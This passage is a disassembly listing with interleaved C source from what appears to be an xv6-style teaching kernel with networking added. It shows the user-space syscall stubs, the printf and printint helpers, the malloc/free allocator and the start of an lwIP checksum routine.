00 00 00 mov $0x2,%eax 339: cd 30 int $0x30 33b: c3 ret 0000033c <wait>: 33c: b8 03 00 00 00 mov $0x3,%eax 341: cd 30 int $0x30 343: c3 ret 00000344 <pipe>: 344: b8 04 00 00 00 mov $0x4,%eax 349: cd 30 int $0x30 34b: c3 ret 0000034c <read>: 34c: b8 06 00 00 00 mov $0x6,%eax 351: cd 30 int $0x30 353: c3 ret 00000354 <write>: 354: b8 05 00 00 00 mov $0x5,%eax 359: cd 30 int $0x30 35b: c3 ret 0000035c <close>: 35c: b8 07 00 00 00 mov $0x7,%eax 361: cd 30 int $0x30 363: c3 ret 00000364 <kill>: 364: b8 08 00 00 00 mov $0x8,%eax 369: cd 30 int $0x30 36b: c3 ret 0000036c <exec>: 36c: b8 09 00 00 00 mov $0x9,%eax 371: cd 30 int $0x30 373: c3 ret 00000374 <open>: 374: b8 0a 00 00 00 mov $0xa,%eax 379: cd 30 int $0x30 37b: c3 ret 0000037c <mknod>: 37c: b8 0b 00 00 00 mov $0xb,%eax 381: cd 30 int $0x30 383: c3 ret 00000384 <unlink>: 384: b8 0c 00 00 00 mov $0xc,%eax 389: cd 30 int $0x30 38b: c3 ret 0000038c <fstat>: 38c: b8 0d 00 00 00 mov $0xd,%eax 391: cd 30 int $0x30 393: c3 ret 00000394 <link>: 394: b8 0e 00 00 00 mov $0xe,%eax 399: cd 30 int $0x30 39b: c3 ret 0000039c <mkdir>: 39c: b8 0f 00 00 00 mov $0xf,%eax 3a1: cd 30 int $0x30 3a3: c3 ret 000003a4 <chdir>: 3a4: b8 10 00 00 00 mov $0x10,%eax 3a9: cd 30 int $0x30 3ab: c3 ret 000003ac <dup>: 3ac: b8 11 00 00 00 mov $0x11,%eax 3b1: cd 30 int $0x30 3b3: c3 ret 000003b4 <getpid>: 3b4: b8 12 00 00 00 mov $0x12,%eax 3b9: cd 30 int $0x30 3bb: c3 ret 000003bc <sbrk>: 3bc: b8 13 00 00 00 mov $0x13,%eax 3c1: cd 30 int $0x30 3c3: c3 ret 000003c4 <sleep>: 3c4: b8 14 00 00 00 mov $0x14,%eax 3c9: cd 30 int $0x30 3cb: c3 ret 000003cc <upmsec>: 3cc: b8 15 00 00 00 mov $0x15,%eax 3d1: cd 30 int $0x30 3d3: c3 ret 000003d4 <socket>: 3d4: b8 16 00 00 00 mov $0x16,%eax 3d9: cd 30 int $0x30 3db: c3 ret 000003dc <bind>: 3dc: b8 17 00 00 00 mov $0x17,%eax 3e1: cd 30 int $0x30 3e3: c3 ret 000003e4 <listen>: 3e4: b8 18 00 00 00 mov $0x18,%eax 3e9: cd 30 int $0x30 3eb: c3 ret 000003ec <accept>: 3ec: b8 19 00 00 00 mov $0x19,%eax 3f1: cd 30 int $0x30 3f3: c3 ret 000003f4 <recv>: 3f4: b8 1a 00 00 00 mov $0x1a,%eax 3f9: cd 30 int $0x30 3fb: c3 ret 000003fc <recvfrom>: 3fc: b8 1b 00 00 00 mov $0x1b,%eax 401: cd 30 int $0x30 403: c3 ret 00000404 <send>: 404: b8 1c 00 00 00 mov $0x1c,%eax 409: cd 30 int $0x30 40b: c3 ret 0000040c <sendto>: 40c: b8 1d 00 00 00 mov $0x1d,%eax 411: cd 30 int $0x30 413: c3 ret 00000414 <shutdown>: 414: b8 1e 00 00 00 mov $0x1e,%eax 419: cd 30 int $0x30 41b: c3 ret 0000041c <getsockopt>: 41c: b8 1f 00 00 00 mov $0x1f,%eax 421: cd 30 int $0x30 423: c3 ret 00000424 <setsockopt>: 424: b8 20 00 00 00 mov $0x20,%eax 429: cd 30 int $0x30 42b: c3 ret 0000042c <sockclose>: 42c: b8 21 00 00 00 mov $0x21,%eax 431: cd 30 int $0x30 433: c3 ret 00000434 <connect>: 434: b8 22 00 00 00 mov $0x22,%eax 439: cd 30 int $0x30 43b: c3 ret 0000043c <getpeername>: 43c: b8 23 00 00 00 mov $0x23,%eax 441: cd 30 int $0x30 443: c3 ret 00000444 <getsockname>: 444: b8 24 00 00 00 mov $0x24,%eax 449: cd 30 int $0x30 44b: c3 ret 44c: 90 nop 44d: 90 nop 44e: 90 nop 44f: 90 nop 00000450 <putc>: #include "user.h" void putc(int fd, char c) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 83 ec 18 sub $0x18,%esp 456: 8b 45 0c mov 0xc(%ebp),%eax 459: 88 45 fc mov %al,0xfffffffc(%ebp) write(fd, &c, 1); 45c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 463: 00 464: 8d 45 fc lea 0xfffffffc(%ebp),%eax 467: 89 44 24 04 mov %eax,0x4(%esp) 46b: 8b 45 08 mov 0x8(%ebp),%eax 46e: 89 04 24 mov %eax,(%esp) 471: e8 de fe ff ff call 354 <write> } 476: c9 leave 477: c3 ret 478: 90 nop 479: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi 00000480 <printint>: static void printint(int fd, int xx, int base, int sgn) { 480: 55 push %ebp 481: 89 e5 mov %esp,%ebp 483: 53 push %ebx 484: 83 ec 34 sub $0x34,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 487: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) if(sgn && xx < 0){ 48e: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 492: 74 17 je 4ab <printint+0x2b> 494: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 498: 79 11 jns 4ab <printint+0x2b> neg = 1; 49a: c7 45 f4 01 00 00 00 movl $0x1,0xfffffff4(%ebp) x = -xx; 4a1: 8b 45 0c mov 0xc(%ebp),%eax 4a4: f7 d8 neg %eax 4a6: 89 45 f8 mov %eax,0xfffffff8(%ebp) 4a9: eb 06 jmp 4b1 <printint+0x31> } else { x = xx; 4ab: 8b 45 0c mov 0xc(%ebp),%eax 4ae: 89 45 f8 mov %eax,0xfffffff8(%ebp) } i = 0; 4b1: c7 45 f0 00 00 00 00 movl $0x0,0xfffffff0(%ebp) do{ buf[i++] = digits[x % base]; 4b8: 8b 4d f0 mov 0xfffffff0(%ebp),%ecx 4bb: 8b 55 10 mov 0x10(%ebp),%edx 4be: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 4c1: 89 d3 mov %edx,%ebx 4c3: ba 00 00 00 00 mov $0x0,%edx 4c8: f7 f3 div %ebx 4ca: 89 d0 mov %edx,%eax 4cc: 0f b6 80 0c 11 00 00 movzbl 0x110c(%eax),%eax 4d3: 88 44 0d e0 mov %al,0xffffffe0(%ebp,%ecx,1) 4d7: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp) }while((x /= base) != 0); 4db: 8b 55 10 mov 0x10(%ebp),%edx 4de: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 4e1: 89 d1 mov %edx,%ecx 4e3: ba 00 00 00 00 mov $0x0,%edx 4e8: f7 f1 div %ecx 4ea: 89 45 f8 mov %eax,0xfffffff8(%ebp) 4ed: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) 4f1: 75 c5 jne 4b8 <printint+0x38> if(neg) 4f3: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp) 4f7: 74 28 je 521 <printint+0xa1> buf[i++] = '-'; 4f9: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 4fc: c6 44 05 e0 2d movb $0x2d,0xffffffe0(%ebp,%eax,1) 501: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp) while(--i >= 0) 505: eb 1a jmp 521 <printint+0xa1> putc(fd, buf[i]); 507: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 50a: 0f b6 44 05 e0 movzbl 0xffffffe0(%ebp,%eax,1),%eax 50f: 0f be c0 movsbl %al,%eax 512: 89 44 24 04 mov %eax,0x4(%esp) 516: 8b 45 08 mov 0x8(%ebp),%eax 519: 89 04 24 mov %eax,(%esp) 51c: e8 2f ff ff ff call 450 <putc> 521: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp) 525: 83 7d f0 00 cmpl $0x0,0xfffffff0(%ebp) 529: 79 dc jns 507 <printint+0x87> } 52b: 83 c4 34 add $0x34,%esp 52e: 5b pop %ebx 52f: 5d pop %ebp 530: c3 ret 531: eb 0d jmp 540 <printf> 533: 90 nop 534: 90 nop 535: 90 nop 536: 90 nop 537: 90 nop 538: 90 nop 539: 90 nop 53a: 90 nop 53b: 90 nop 53c: 90 nop 53d: 90 nop 53e: 90 nop 53f: 90 nop 00000540 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 540: 55 push %ebp 541: 89 e5 mov %esp,%ebp 543: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 546: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp) ap = (uint*)(void*)&fmt + 1; 54d: 8d 45 0c lea 0xc(%ebp),%eax 550: 83 c0 04 add $0x4,%eax 553: 89 45 fc mov %eax,0xfffffffc(%ebp) for(i = 0; fmt[i]; i++){ 556: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) 55d: e9 7b 01 00 00 jmp 6dd <printf+0x19d> c = fmt[i] & 0xff; 562: 8b 55 0c mov 0xc(%ebp),%edx 565: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 568: 8d 04 02 lea (%edx,%eax,1),%eax 56b: 0f b6 00 movzbl (%eax),%eax 56e: 0f be c0 movsbl %al,%eax 571: 25 ff 00 00 00 and $0xff,%eax 576: 89 45 f0 mov %eax,0xfffffff0(%ebp) if(state == 0){ 579: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) 57d: 75 2c jne 5ab <printf+0x6b> if(c == '%'){ 57f: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp) 583: 75 0c jne 591 <printf+0x51> state = '%'; 585: c7 45 f8 25 00 00 00 movl $0x25,0xfffffff8(%ebp) 58c: e9 48 01 00 00 jmp 6d9 <printf+0x199> } else { putc(fd, c); 591: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 594: 0f be c0 movsbl %al,%eax 597: 89 44 24 04 mov %eax,0x4(%esp) 59b: 8b 45 08 mov 0x8(%ebp),%eax 59e: 89 04 24 mov %eax,(%esp) 5a1: e8 aa fe ff ff call 450 <putc> 5a6: e9 2e 01 00 00 jmp 6d9 <printf+0x199> } } else if(state == '%'){ 5ab: 83 7d f8 25 cmpl $0x25,0xfffffff8(%ebp) 5af: 0f 85 24 01 00 00 jne 6d9 <printf+0x199> if(c == 'd'){ 5b5: 83 7d f0 64 cmpl $0x64,0xfffffff0(%ebp) 5b9: 75 2d jne 5e8 <printf+0xa8> printint(fd, *ap, 10, 1); 5bb: 8b 45 fc mov 0xfffffffc(%ebp),%eax 5be: 8b 00 mov (%eax),%eax 5c0: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 5c7: 00 5c8: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 5cf: 00 5d0: 89 44 24 04 mov %eax,0x4(%esp) 5d4: 8b 45 08 mov 0x8(%ebp),%eax 5d7: 89 04 24 mov %eax,(%esp) 5da: e8 a1 fe ff ff call 480 <printint> ap++; 5df: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp) 5e3: e9 ea 00 00 00 jmp 6d2 <printf+0x192> } else if(c == 'x' || c == 'p'){ 5e8: 83 7d f0 78 cmpl $0x78,0xfffffff0(%ebp) 5ec: 74 06 je 5f4 <printf+0xb4> 5ee: 83 7d f0 70 cmpl $0x70,0xfffffff0(%ebp) 5f2: 75 2d jne 621 <printf+0xe1> printint(fd, *ap, 16, 0); 5f4: 8b 45 fc mov 0xfffffffc(%ebp),%eax 5f7: 8b 00 mov (%eax),%eax 5f9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 600: 00 601: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 608: 00 609: 89 44 24 04 mov %eax,0x4(%esp) 60d: 8b 45 08 mov 0x8(%ebp),%eax 610: 89 04 24 mov %eax,(%esp) 613: e8 68 fe ff ff call 480 <printint> ap++; 618: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp) 61c: e9 b1 00 00 00 jmp 6d2 <printf+0x192> } else if(c == 's'){ 621: 83 7d f0 73 cmpl $0x73,0xfffffff0(%ebp) 625: 75 43 jne 66a <printf+0x12a> s = (char*)*ap; 627: 8b 45 fc mov 0xfffffffc(%ebp),%eax 62a: 8b 00 mov (%eax),%eax 62c: 89 45 ec mov %eax,0xffffffec(%ebp) ap++; 62f: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp) if(s == 0) 633: 83 7d ec 00 cmpl $0x0,0xffffffec(%ebp) 637: 75 25 jne 65e <printf+0x11e> s = "(null)"; 639: c7 45 ec f1 10 00 00 movl $0x10f1,0xffffffec(%ebp) while(*s != 0){ 640: eb 1c jmp 65e <printf+0x11e> putc(fd, *s); 642: 8b 45 ec mov 0xffffffec(%ebp),%eax 645: 0f b6 00 movzbl (%eax),%eax 648: 0f be c0 movsbl %al,%eax 64b: 89 44 24 04 mov %eax,0x4(%esp) 64f: 8b 45 08 mov 0x8(%ebp),%eax 652: 89 04 24 mov %eax,(%esp) 655: e8 f6 fd ff ff call 450 <putc> s++; 65a: 83 45 ec 01 addl $0x1,0xffffffec(%ebp) 65e: 8b 45 ec mov 0xffffffec(%ebp),%eax 661: 0f b6 00 movzbl (%eax),%eax 664: 84 c0 test %al,%al 666: 75 da jne 642 <printf+0x102> 668: eb 68 jmp 6d2 <printf+0x192> } } else if(c == 'c'){ 66a: 83 7d f0 63 cmpl $0x63,0xfffffff0(%ebp) 66e: 75 1d jne 68d <printf+0x14d> putc(fd, *ap); 670: 8b 45 fc mov 0xfffffffc(%ebp),%eax 673: 8b 00 mov (%eax),%eax 675: 0f be c0 movsbl %al,%eax 678: 89 44 24 04 mov %eax,0x4(%esp) 67c: 8b 45 08 mov 0x8(%ebp),%eax 67f: 89 04 24 mov %eax,(%esp) 682: e8 c9 fd ff ff call 450 <putc> ap++; 687: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp) 68b: eb 45 jmp 6d2 <printf+0x192> } else if(c == '%'){ 68d: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp) 691: 75 17 jne 6aa <printf+0x16a> putc(fd, c); 693: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 696: 0f be c0 movsbl %al,%eax 699: 89 44 24 04 mov %eax,0x4(%esp) 69d: 8b 45 08 mov 0x8(%ebp),%eax 6a0: 89 04 24 mov %eax,(%esp) 6a3: e8 a8 fd ff ff call 450 <putc> 6a8: eb 28 jmp 6d2 <printf+0x192> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 6aa: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 6b1: 00 6b2: 8b 45 08 mov 0x8(%ebp),%eax 6b5: 89 04 24 mov %eax,(%esp) 6b8: e8 93 fd ff ff call 450 <putc> putc(fd, c); 6bd: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 6c0: 0f be c0 movsbl %al,%eax 6c3: 89 44 24 04 mov %eax,0x4(%esp) 6c7: 8b 45 08 mov 0x8(%ebp),%eax 6ca: 89 04 24 mov %eax,(%esp) 6cd: e8 7e fd ff ff call 450 <putc> } state = 0; 6d2: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp) 6d9: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp) 6dd: 8b 55 0c mov 0xc(%ebp),%edx 6e0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 6e3: 8d 04 02 lea (%edx,%eax,1),%eax 6e6: 0f b6 00 movzbl (%eax),%eax 6e9: 84 c0 test %al,%al 6eb: 0f 85 71 fe ff ff jne 562 <printf+0x22> } } } 6f1: c9 leave 6f2: c3 ret 6f3: 90 nop 6f4: 90 nop 6f5: 90 nop 6f6: 90 nop 6f7: 90 nop 6f8: 90 nop 6f9: 90 nop 6fa: 90 nop 6fb: 90 nop 6fc: 90 nop 6fd: 90 nop 6fe: 90 nop 6ff: 90 nop 00000700 <free>: static Header *freep; void free(void *ap) { 700: 55 push %ebp 701: 89 e5 mov %esp,%ebp 703: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*) ap - 1; 706: 8b 45 08 mov 0x8(%ebp),%eax 709: 83 e8 08 sub $0x8,%eax 70c: 89 45 f8 mov %eax,0xfffffff8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 70f: a1 28 11 00 00 mov 0x1128,%eax 714: 89 45 fc mov %eax,0xfffffffc(%ebp) 717: eb 24 jmp 73d <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 719: 8b 45 fc mov 0xfffffffc(%ebp),%eax 71c: 8b 00 mov (%eax),%eax 71e: 3b 45 fc cmp 0xfffffffc(%ebp),%eax 721: 77 12 ja 735 <free+0x35> 723: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 726: 3b 45 fc cmp 0xfffffffc(%ebp),%eax 729: 77 24 ja 74f <free+0x4f> 72b: 8b 45 fc mov 0xfffffffc(%ebp),%eax 72e: 8b 00 mov (%eax),%eax 730: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax 733: 77 1a ja 74f <free+0x4f> 735: 8b 45 fc mov 0xfffffffc(%ebp),%eax 738: 8b 00 mov (%eax),%eax 73a: 89 45 fc mov %eax,0xfffffffc(%ebp) 73d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 740: 3b 45 fc cmp 0xfffffffc(%ebp),%eax 743: 76 d4 jbe 719 <free+0x19> 745: 8b 45 fc mov 0xfffffffc(%ebp),%eax 748: 8b 00 mov (%eax),%eax 74a: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax 74d: 76 ca jbe 719 <free+0x19> break; if(bp + bp->s.size == p->s.ptr){ 74f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 752: 8b 40 04 mov 0x4(%eax),%eax 755: c1 e0 03 shl $0x3,%eax 758: 89 c2 mov %eax,%edx 75a: 03 55 f8 add 0xfffffff8(%ebp),%edx 75d: 8b 45 fc mov 0xfffffffc(%ebp),%eax 760: 8b 00 mov (%eax),%eax 762: 39 c2 cmp %eax,%edx 764: 75 24 jne 78a <free+0x8a> bp->s.size += p->s.ptr->s.size; 766: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 769: 8b 50 04 mov 0x4(%eax),%edx 76c: 8b 45 fc mov 0xfffffffc(%ebp),%eax 76f: 8b 00 mov (%eax),%eax 771: 8b 40 04 mov 0x4(%eax),%eax 774: 01 c2 add %eax,%edx 776: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 779: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 77c: 8b 45 fc mov 0xfffffffc(%ebp),%eax 77f: 8b 00 mov (%eax),%eax 781: 8b 10 mov (%eax),%edx 783: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 786: 89 10 mov %edx,(%eax) 788: eb 0a jmp 794 <free+0x94> } else bp->s.ptr = p->s.ptr; 78a: 8b 45 fc mov 0xfffffffc(%ebp),%eax 78d: 8b 10 mov (%eax),%edx 78f: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 792: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 794: 8b 45 fc mov 0xfffffffc(%ebp),%eax 797: 8b 40 04 mov 0x4(%eax),%eax 79a: c1 e0 03 shl $0x3,%eax 79d: 03 45 fc add 0xfffffffc(%ebp),%eax 7a0: 3b 45 f8 cmp 0xfffffff8(%ebp),%eax 7a3: 75 20 jne 7c5 <free+0xc5> p->s.size += bp->s.size; 7a5: 8b 45 fc mov 0xfffffffc(%ebp),%eax 7a8: 8b 50 04 mov 0x4(%eax),%edx 7ab: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 7ae: 8b 40 04 mov 0x4(%eax),%eax 7b1: 01 c2 add %eax,%edx 7b3: 8b 45 fc mov 0xfffffffc(%ebp),%eax 7b6: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 7b9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 7bc: 8b 10 mov (%eax),%edx 7be: 8b 45 fc mov 0xfffffffc(%ebp),%eax 7c1: 89 10 mov %edx,(%eax) 7c3: eb 08 jmp 7cd <free+0xcd> } else p->s.ptr = bp; 7c5: 8b 55 fc mov 0xfffffffc(%ebp),%edx 7c8: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 7cb: 89 02 mov %eax,(%edx) freep = p; 7cd: 8b 45 fc mov 0xfffffffc(%ebp),%eax 7d0: a3 28 11 00 00 mov %eax,0x1128 } 7d5: c9 leave 7d6: c3 ret 7d7: 89 f6 mov %esi,%esi 7d9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi 000007e0 <morecore>: static Header* morecore(uint nu) { 7e0: 55 push %ebp 7e1: 89 e5 mov %esp,%ebp 7e3: 83 ec 18 sub $0x18,%esp char *p; Header *hp; int size; #ifdef UMALLOC_DEBUG printf(1, "morecore: %d\n", nu); #endif #ifdef UMALLOC_NOALIGN if(nu < PAGE) nu = PAGE; #else size = nu * sizeof(Header); 7e6: 8b 45 08 mov 0x8(%ebp),%eax 7e9: c1 e0 03 shl $0x3,%eax 7ec: 89 45 fc mov %eax,0xfffffffc(%ebp) size += PAGE - size % PAGE; 7ef: 8b 55 fc mov 0xfffffffc(%ebp),%edx 7f2: 89 d0 mov %edx,%eax 7f4: c1 f8 1f sar $0x1f,%eax 7f7: 89 c1 mov %eax,%ecx 7f9: c1 e9 14 shr $0x14,%ecx 7fc: 8d 04 0a lea (%edx,%ecx,1),%eax 7ff: 25 ff 0f 00 00 and $0xfff,%eax 804: 29 c8 sub %ecx,%eax 806: 89 c2 mov %eax,%edx 808: b8 00 10 00 00 mov $0x1000,%eax 80d: 29 d0 sub %edx,%eax 80f: 01 45 fc add %eax,0xfffffffc(%ebp) #endif #ifdef UMALLOC_DEBUG printf(1, "size: %d\n", size); #endif p = sbrk(size); 812: 8b 45 fc mov 0xfffffffc(%ebp),%eax 815: 89 04 24 mov %eax,(%esp) 818: e8 9f fb ff ff call 3bc <sbrk> 81d: 89 45 f4 mov %eax,0xfffffff4(%ebp) if(p == (char*) -1) 820: 83 7d f4 ff cmpl $0xffffffff,0xfffffff4(%ebp) 824: 75 09 jne 82f <morecore+0x4f> return 0; 826: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp) 82d: eb 2a jmp 859 <morecore+0x79> hp = (Header*)p; 82f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 832: 89 45 f8 mov %eax,0xfffffff8(%ebp) #ifdef UMALLOC_NOALIGN hp->s.size = nu; #else hp->s.size = size / sizeof(Header); 835: 8b 45 fc mov 0xfffffffc(%ebp),%eax 838: 89 c2 mov %eax,%edx 83a: c1 ea 03 shr $0x3,%edx 83d: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 840: 89 50 04 mov %edx,0x4(%eax) #endif free((void*)(hp + 1)); 843: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 846: 83 c0 08 add $0x8,%eax 849: 89 04 24 mov %eax,(%esp) 84c: e8 af fe ff ff call 700 <free> return freep; 851: a1 28 11 00 00 mov 0x1128,%eax 856: 89 45 ec mov %eax,0xffffffec(%ebp) 859: 8b 45 ec mov 0xffffffec(%ebp),%eax } 85c: c9 leave 85d: c3 ret 85e: 89 f6 mov %esi,%esi 00000860 <malloc>: void* malloc(uint nbytes) { 860: 55 push %ebp 861: 89 e5 mov %esp,%ebp 863: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; #ifdef UMALLOC_DEBUG printf(1, "malloc: %d bytes\n", nbytes); printf(1, "size of Header: %d\n", sizeof(Header)); #endif if (PAGE % sizeof(Header)) printf(2, "Warning! align failed! Need UMALLOC_NOALIGN\n"); nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 866: 8b 45 08 mov 0x8(%ebp),%eax 869: 83 c0 07 add $0x7,%eax 86c: c1 e8 03 shr $0x3,%eax 86f: 83 c0 01 add $0x1,%eax 872: 89 45 fc mov %eax,0xfffffffc(%ebp) if((prevp = freep) == 0){ 875: a1 28 11 00 00 mov 0x1128,%eax 87a: 89 45 f8 mov %eax,0xfffffff8(%ebp) 87d: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) 881: 75 23 jne 8a6 <malloc+0x46> base.s.ptr = freep = prevp = &base; 883: c7 45 f8 20 11 00 00 movl $0x1120,0xfffffff8(%ebp) 88a: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 88d: a3 28 11 00 00 mov %eax,0x1128 892: a1 28 11 00 00 mov 0x1128,%eax 897: a3 20 11 00 00 mov %eax,0x1120 base.s.size = 0; 89c: c7 05 24 11 00 00 00 movl $0x0,0x1124 8a3: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8a6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8a9: 8b 00 mov (%eax),%eax 8ab: 89 45 f4 mov %eax,0xfffffff4(%ebp) if(p->s.size >= nunits){ 8ae: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8b1: 8b 40 04 mov 0x4(%eax),%eax 8b4: 3b 45 fc cmp 0xfffffffc(%ebp),%eax 8b7: 72 50 jb 909 <malloc+0xa9> if(p->s.size == nunits) 8b9: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8bc: 8b 40 04 mov 0x4(%eax),%eax 8bf: 3b 45 fc cmp 0xfffffffc(%ebp),%eax 8c2: 75 0c jne 8d0 <malloc+0x70> prevp->s.ptr = p->s.ptr; 8c4: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8c7: 8b 10 mov (%eax),%edx 8c9: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8cc: 89 10 mov %edx,(%eax) 8ce: eb 26 jmp 8f6 <malloc+0x96> else { p->s.size -= nunits; 8d0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8d3: 8b 40 04 mov 0x4(%eax),%eax 8d6: 89 c2 mov %eax,%edx 8d8: 2b 55 fc sub 0xfffffffc(%ebp),%edx 8db: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8de: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 8e1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 8e4: 8b 40 04 mov 0x4(%eax),%eax 8e7: c1 e0 03 shl $0x3,%eax 8ea: 01 45 f4 add %eax,0xfffffff4(%ebp) p->s.size = nunits; 8ed: 8b 55 f4 mov 0xfffffff4(%ebp),%edx 8f0: 8b 45 fc mov 0xfffffffc(%ebp),%eax 8f3: 89 42 04 mov %eax,0x4(%edx) } freep = prevp; 8f6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 8f9: a3 28 11 00 00 mov %eax,0x1128 return (void*) (p + 1); 8fe: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 901: 83 c0 08 add $0x8,%eax 904: 89 45 ec mov %eax,0xffffffec(%ebp) 907: eb 3a jmp 943 <malloc+0xe3> } if(p == freep) 909: a1 28 11 00 00 mov 0x1128,%eax 90e: 39 45 f4 cmp %eax,0xfffffff4(%ebp) 911: 75 1d jne 930 <malloc+0xd0> if((p = morecore(nunits)) == 0) 913: 8b 45 fc mov 0xfffffffc(%ebp),%eax 916: 89 04 24 mov %eax,(%esp) 919: e8 c2 fe ff ff call 7e0 <morecore> 91e: 89 45 f4 mov %eax,0xfffffff4(%ebp) 921: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp) 925: 75 09 jne 930 <malloc+0xd0> return 0; 927: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp) 92e: eb 13 jmp 943 <malloc+0xe3> 930: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 933: 89 45 f8 mov %eax,0xfffffff8(%ebp) 936: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 939: 8b 00 mov (%eax),%eax 93b: 89 45 f4 mov %eax,0xfffffff4(%ebp) } 93e: e9 6b ff ff ff jmp 8ae <malloc+0x4e> 943: 8b 45 ec mov 0xffffffec(%ebp),%eax } 946: c9 leave 947: c3 ret 948: 90 nop 949: 90 nop 94a: 90 nop 94b: 90 nop 94c: 90 nop 94d: 90 nop 94e: 90 nop 94f: 90 nop 00000950 <lwip_chksum>: static u16_t lwip_chksum(void *dataptr, int len) { 950: 55 push %ebp 951: 89 e5 mov %esp,%ebp 953: 83 ec 18 sub $0x18,%esp u32_t acc; LWIP_DEBUGF(INET_DEBUG, ("lwip_chksum(%p, %d)\n", (void *)dataptr, len)); for(acc = 0; len > 1; len -= 2) { 956: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 95d: eb 19 jmp 978 <lwip_chksum+0x28> /* acc = acc + *((u16_t *)dataptr)++;*/ acc += *(u16_t *)dataptr; 95f: 8b 45 08 mov 0x8(%ebp),%eax 962: 0f b7 00 movzwl (%eax),%eax 965: 0f b7 c0 movzwl %ax,%eax 968: 01 45 fc add %eax,0xfffffffc(%ebp) dataptr = (void *)((u16_t *)dataptr + 1); 96b: 8b 45 08 mov 0x8(%ebp),%eax 96e: 83 c0 02 add $0x2,%eax 971: 89 45 08 mov %eax,0x8(%ebp) 974: 83 6d 0c 02 subl $0x2,0xc(%ebp) 978: 83 7d 0c 01 cmpl $0x1,0xc(%ebp) 97c: 7f e1 jg 95f <lwip_chksum+0xf> } /* add up any odd byte */ if (len == 1) { 97e: 83 7d 0c 01 cmpl $0x1,0xc(%ebp) 982: 75 1d jne 9a1 <lwip_chksum+0x51> acc += htons((u16_t)((*(u8_t *)dataptr) & 0xff) << 8); 984: 8b 45 08 mov 0x8(%ebp),%eax 987: 